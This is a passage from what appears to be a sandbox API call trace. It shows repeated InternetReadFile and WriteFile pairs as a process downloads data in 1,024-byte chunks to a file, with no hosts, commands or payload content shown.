[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.552] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.553] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.554] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.558] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.558] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.558] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.558] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.559] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.559] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.559] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.559] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.560] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.561] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
